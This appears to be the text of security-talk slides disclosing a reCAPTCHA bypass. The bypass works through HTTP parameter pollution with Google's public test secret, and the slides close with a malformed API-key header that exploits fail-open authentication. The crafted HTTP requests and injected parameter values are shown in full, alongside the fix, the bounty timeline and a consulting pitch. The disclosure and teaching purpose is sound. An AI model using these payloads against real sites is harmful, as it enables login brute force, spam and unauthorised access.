User sends solution to application Clicking on the Verify button will send this HTTP request to the application: POST /verify-recaptcha-response HTTP/1.1 Host: vulnerable-app.com recaptcha-response={user-response}
Verify response with the API POST /recaptcha/api/siteverify HTTP/1.1 Host: www.google.com Content-Type: application/x-www-form-urlencoded recaptcha-response={user-response}&secret={application-secret} HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 90 { "success": true, "challenge_ts": "2018-01-29T17:58:36Z", ... } Google's ReCAPTCHA API verifies the user's response:
HTTP parameter pollution POST /verify-recaptcha-response HTTP/1.1 Host: vulnerable-app.com recaptcha-response=anything%26secret%3dxyz Injecting parameters into the API request: POST /recaptcha/api/siteverify HTTP/1.1 Host: www.google.com ... recaptcha-response=anything&secret=xyz&secret={application-secret}
ReCAPTCHA duplicate parameters POST /recaptcha/api/siteverify HTTP/1.1 Host: www.google.com ... recaptcha-response={user-response}&secret={application-secret} &secret={another-secret-application-secret} HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 ... ReCAPTCHA accepted duplicate parameter names, using the first one and discarding the second:
ReCAPTCHA and integration tests ReCAPTCHA allows developers to configure a specific application secret (should only be used in non-production environments) which forces ReCAPTCHA to always return "success". 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe https://developers.google.com/recaptcha/docs/faq
Bypass ReCAPTCHA POST /verify-recaptcha-response HTTP/1.1 Host: vulnerable-app.com recaptcha-response=anything%26secret%3d6LeIxAcTAAAAAGG-vFI1TnRWxMZNFu ojJ4WifJWe Injecting parameters into the API request: POST /recaptcha/api/siteverify HTTP/1.1 Host: www.google.com ... recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4 WifJWe&secret={application-secret}
Requirement: HPP There are two strong requirements for this vulnerability to be exploitable in a web application: 1. The application needs to have an HTTP parameter pollution vulnerability in the ReCAPTCHA url creation. Github searches showed that ~60% of the integrations with ReCAPTCHA are vulnerable ProTip: Never, ever, use string concatenation or formatting for creating URLs.
Requirement: Order There are two strong requirements for this vulnerability to be exploitable in a web application: 2. The vulnerable web application needs to create the URL with the response parameter first, and then the secret: This allows the attacker to control the first "secret" parameter. Strangely, almost all applications do it the other way. My guess is that Google’s documentation and code examples did it like that, and others simply copied from there. Google got lucky there… if they would have done it the other way around, this vulnerability would have affected even more sites. GitHub searches showed that only 5 to 10% of the ReCAPTCHA implementations meet this requirement. response=…&secret=…
Risks: Login brute force, spam, etc. What is usually protected by ReCAPTCHA? ● Authentication ● Password reset and user registration ● Comments section Those things could have been bypassed!
Fix: No duplicate parameter names Google fixed this issue by rejecting all HTTP requests that have more than one parameter named the same way. This fix is smart: protects all vulnerable applications without requiring them to apply any changes nor fixing their vulnerabilities.
Bounty ● Jan-29 / Vulnerability is reported to Google ● Jan-30 / Google replies: “reCAPTCHA is working exactly as designed“ ● Jan-31 / I ask them to please re-read the vulnerability report ● Jan-31 / Google asks for more information ● Feb-1 / Google confirms vulnerability ● Feb-15 / Google awards 500 USD for the vulnerability report. Money donated to charity. ● Mar-25 / Patch is released
GET /super/secret/data HTTP/1.1 Host: vulnerable-app.com X-API-Key: %xy Exploitation: Breaking URL encoding The API key is specially crafted to trigger an error in the internal authentication API. Most likely triggering 400 (Bad Request). The default-open implementation of the authenticate method will grant the attacker access.
For hire Does your company or startup need these services? ● Application Penetration Test ● Secure Coding Training for Developers ● Source Code Review ● Cloud Security Assessment Let me know, I can help you deliver secure web applications.